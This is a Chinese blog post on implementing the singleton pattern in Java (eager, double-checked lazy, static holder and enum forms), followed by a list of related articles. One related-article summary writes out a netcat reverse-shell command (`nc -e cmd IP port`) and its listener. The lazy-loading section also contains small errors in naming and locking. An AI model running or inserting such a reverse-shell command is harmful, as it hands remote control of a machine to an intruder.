原来要这么实现单例模式

简介: 原来要这么实现单例模式

单例模式:大家应该都不陌生,就是保证jvm进程里一个类只会对应一个实例对象。有很多方法可以实现单例模式,但是哪一种是最安全的,不能通过非法的手段,创建多个实例对象,比如通过反射,new的方式创建多个。我们今天就来学习一下。

一.禁止new创建多个实例

通过把构造函数的修饰符设置为private, 禁止通过new的方法实例化,只能调用提供的方法获取到实例对象,确保获取到的实例对象都是同一个,这样来保证单例。

饿汉式

Singleton 构造函数是private的,Singleton类在加载完成就会实例化,所以即使没有使用到这个类,也会进行实例化。优点是比较简单,线程安全,但是缺点也很明显如果这个类实例化比较耗时,在类加载的时间就会很长,如果占用内存,即使没有用到这个实例也会占用大量内存。

public class Singleton {  //静态代码块
 //私有化构造器
 private Singleton() {}
 //内部创建对象实例
 private  static Singleton instance;
 static { // 在静态代码块中,创建单例对象
  instance = new Singleton();
 }
 //对外公有的静态方法
 public static Singleton getInstance() {
  return instance;
 }
}

懒汉式

饿汉式是需要的时候才创建实例对象,一般结合双重检查来实现,否则会导致线程不安全,就是多个线程调用getInstance方法时,可能会获取到不同的实例对象。需要注意的是Singleton对象还需要用volatile来修饰,这样才能避免指令重排,指令重排可能会导致获取到的Singleton对象还没有实例化完成。

public class Singleton { //双重检查
 private static volatile Singleton instance;
 private Singleton() {}
 public static synchronized Singleton getInstance() {
  if(instance == null) { //判断是否实例化
   synchronized (Singleton.class) {
    if(instance == null) {
     instance = new Singleton();
    }
   }
  }
  return instance; //否则直接return
 }
}

静态内部类

这个声明一个静态内部类的形式,既可以实现懒汉式的效果,只有调用了getInstance方法,SingleTonHoler才会初始化;也可以实现线程安全的效果,静态内部类把Singleton对象声明为static类型,在类加载的时候会实例化,且jvm保证了只会实例化一次,所以是线程安全的。

public class Singleton{
  private Singleton(){}
  private static class SingleTonHoler{
     private static Singleton INSTANCE = new Singleton();
 }
  public static Singleton getInstance(){
    return SingleTonHoler.INSTANCE;
  }
}

二. 防止反射创建多个实例

上面的几种方式都可以多线程的情况下,类只能实现一次,但是都是可以通过反射的方法来创建多个实例对象的,那有没有一种既可以防止反射,又可以保证多线程安全的单例实现方法呢?有的,就是通过枚举的方式实现。

enum Singleton {
 INSTANCE; //属性
 public void say() {
  System.out.println("关注java面试教程 学习更多java知识");
 }
}

三.总结

我们学习了怎么来创建一个安全可靠的单例模式,如果不需要防止反射的情况下,可以通过静态内部类的方法实现,否则,推荐使用枚举的形式来实现单例。

相关文章
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
646 0
|
编解码 Android开发 芯片
RK3288 主板上的RT5651芯片SPK音频无声音问题解决方案
RK3288 主板上的RT5651芯片SPK音频无声音问题解决方案
862 2
|
30天前
|
SQL 存储 关系型数据库
使用MySQL中的WITH AS子句进行高效数据库查询实践
虑到查询优化,它们是管理复杂SQL语句的有力工具。由于CTE在查询计划中的处理方式可能因MySQL的不同版本而异,建议在特定环境中测试和分析查询性能以确保达到最佳效果。
206 3
|
5月前
|
人工智能 Nacos 开发者
手把手教你搭建MCP服务器
Model Context Protocol(MCP)正成为AI智能体连接外部工具的主流标准。本文详解两种搭建方案,助你构建专属AI工具扩展引擎,实现工具调用的标准化与高效集成。
|
4月前
|
JSON 人工智能 JavaScript
cursor 如何调用 MCP server
本文介绍了如何在 Cursor 中配置并调用 MCP Server,以实现天气信息查询功能。内容涵盖 MCP 配置步骤、JSON 文件设置、MCP Server 的调用方法及结果展示,帮助开发者快速集成外部服务。
|
JavaScript 前端开发 开发者
哇塞!Vue.js 与 Web Components 携手,掀起前端组件复用风暴,震撼你的开发世界!
【8月更文挑战第30天】这段内容介绍了Vue.js和Web Components在前端开发中的优势及二者结合的可能性。Vue.js提供高效简洁的组件化开发,单个组件包含模板、脚本和样式,方便构建复杂用户界面。Web Components作为新兴技术标准,利用自定义元素、Shadow DOM等技术创建封装性强的自定义HTML元素,实现跨框架复用。结合二者,不仅增强了Web Components的逻辑和交互功能,还实现了Vue.js组件在不同框架中的复用,提高了开发效率和可维护性。未来前端开发中,这种结合将大有可为。
525 0
|
敏捷开发 测试技术 持续交付
自动化测试之美:从零开始搭建你的Python测试框架
在软件开发的马拉松赛道上,自动化测试是那个能让你保持节奏、避免跌宕起伏的神奇小助手。本文将带你走进自动化测试的世界,用Python这把钥匙,解锁高效、可靠的测试框架之门。你将学会如何步步为营,构建属于自己的测试庇护所,让代码质量成为晨跑时清新的空气,而不是雾霾中的忧虑。让我们一起摆脱手动测试的繁琐枷锁,拥抱自动化带来的自由吧!
|
算法 调度 UED
深入理解操作系统:进程管理与调度策略
操作系统作为计算机系统的核心,其进程管理和调度策略对于系统性能和用户体验至关重要。本文将通过直观的代码示例和浅显易懂的语言,带领读者了解操作系统如何有效管理进程以及常见的进程调度算法。我们将从进程的基本概念出发,逐步深入到进程状态、进程控制块(PCB)的作用,最后探讨不同的调度算法及其对系统性能的影响。无论您是初学者还是有一定基础的开发者,都能从中获得有价值的信息。
|
人工智能 PyTorch TensorFlow
编程语言与工具:为AI开发选择合适的武器
【7月更文第16天】在当今人工智能(AI)迅速发展的时代,选择恰当的编程语言和框架就如同为征服未知领域的探险者配备精良装备。本文将聚焦于AI开发中的三大基石:Python语言、TensorFlow框架,以及PyTorch框架,为你的AI之旅提供有力的导航。
435 7